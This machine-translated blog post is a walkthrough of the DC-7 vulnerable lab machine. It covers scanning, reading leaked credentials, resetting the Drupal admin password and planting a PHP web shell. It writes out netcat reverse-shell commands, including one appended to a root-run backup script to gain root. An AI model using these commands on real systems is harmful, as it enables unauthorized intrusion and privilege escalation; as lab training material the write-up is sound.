当前位置:网站首页>Dc-7 target
Dc-7 target
2022-07-07 06:06:00 【m0_ sixty-two million ninety-four thousand eight hundred and fo】
ifconfig
Find the host IP
Sweep a wave Intranet , Detect the surviving host
nmap 192.168.61.0/24
Use nmap Tool pair DC-5 The target machine scans the open port
nmap -A -T4 192.168.61.136 -p- -oN nmap136.A

nmap -A -T4 192.168.61.136 -p- -oN nmap136.A
Yes 22 and 80 port

Here's a hint DC7USER
use Baidu Search
You can download a file


This also shows that it is important
Download to kali Local
git clone https://github.com/Dc7User/staffdb
cd staffdb
ls
cat config.php

Use SSH Link target , Sign in dc7user It is found that you can successfully connect

ls
find out backups mbox
backups Next :website.sql.gpg website.tar.gz.gpg
Found two files , But it's all about gpg At the end of the ,gpg The command is used to encrypt files , The encrypted files are all garbled
mbox It's a document
The source code of backup execution is found in /opt/scripts Under the table of contents

Get into /opt/scripts Under the table of contents
cd /opt/scripts
see file
cat backups.sh

Found two commands gpg drush
gpg The command is used to encrypt ,drush The order is drupal Commands used in the framework to do some configuration , It can change the user name and password
Enter into /var/www/html Under the table of contents , Because the website will have a admin user , So use drush Command to change admin The user's password is 123456, It is found that it can be modified successfully
cd /var/www/html/
drush user-password admin --password="123456"
![]()
admin Your password has been changed to 123456
use dirb Command to scan out the page
dirb http://192.168.61.136

stay Content—>Add content-->Basic page Next , Ready to add PHP Code bounce shell, But found that it does not support PHP
After Baidu knows ,php To be imported as a separate module



PHP Module download address :
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz


Check , Then click the bottom install

And then it's all right 
Go back to the page at that time , You can use PHP 了 


You can connect successfully with ant sword

And then use kali monitor
nc -lvvp 4444
nc -e /bin/bash 192.168.61.129 4444

python -c 'import pty;pty.spawn("/bin/bash")'
Successful connection

find / -name backups.sh 2>/dev/null
then
cd /opt/scripts
ls -l
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.61.129 7777 >/tmp/f" >> backups.sh
nc -lvvp 7777

Got it root jurisdiction
cd /root
ls
cat theflag.txt

边栏推荐
- Web authentication API compatible version information
- Wechat applet Bluetooth connects hardware devices and communicates. Applet Bluetooth automatically reconnects due to abnormal distance. JS realizes CRC check bit
- cf:C. Column Swapping【排序 + 模拟】
- JVM命令之 jstack:打印JVM中线程快照
- Forkjoin is the most comprehensive and detailed explanation (from principle design to use diagram)
- Nvisual network visualization
- 从“跑分神器”到数据平台,鲁大师开启演进之路
- 关于服装ERP,你知道多少?
- Bbox regression loss function in target detection -l2, smooth L1, IOU, giou, Diou, ciou, focal eiou, alpha IOU, Siou
- Why does the data center need a set of infrastructure visual management system
猜你喜欢

cf:C. Column Swapping【排序 + 模拟】

JVM命令之 jinfo:实时查看和修改JVM配置参数

nVisual网络可视化

Industrial Finance 3.0: financial technology of "dredging blood vessels"

话说SQLyog欺骗了我!

Pytorch builds neural network to predict temperature

EMMC打印cqhci: timeout for tag 10提示分析与解决

《ClickHouse原理解析与应用实践》读书笔记(6)

力扣102题:二叉树的层序遍历

Harmonyos practice - Introduction to development, analysis of atomized services
随机推荐
Pytorch builds neural network to predict temperature
Interview questions and salary and welfare of Shanghai byte
一名普通学生的大一总结【不知我等是愚是狂,唯知一路向前奔驰】
980. 不同路径 III DFS
【日常训练--腾讯精选50】292. Nim 游戏
JVM the truth you need to know
mac版php装xdebug环境(m1版)
CMD permanently delete specified folders and files
Loss function and positive and negative sample allocation in target detection: retinanet and focal loss
PTA 天梯赛练习题集 L2-002 链表去重
Understand the deserialization principle of fastjson for generics
毕业之后才知道的——知网查重原理以及降重举例
What is make makefile cmake qmake and what is the difference?
Flask 1.1.4 werkzeug1.0.1 analyse du code source: processus de démarrage
SAP ABAP BDC (batch data communication) -018
nVisual网络可视化
I didn't know it until I graduated -- the principle of HowNet duplication check and examples of weight reduction
linear regression
Go language learning notes - Gorm use - Gorm processing errors | web framework gin (10)
SQL Server 2008 各种DateTime的取值范围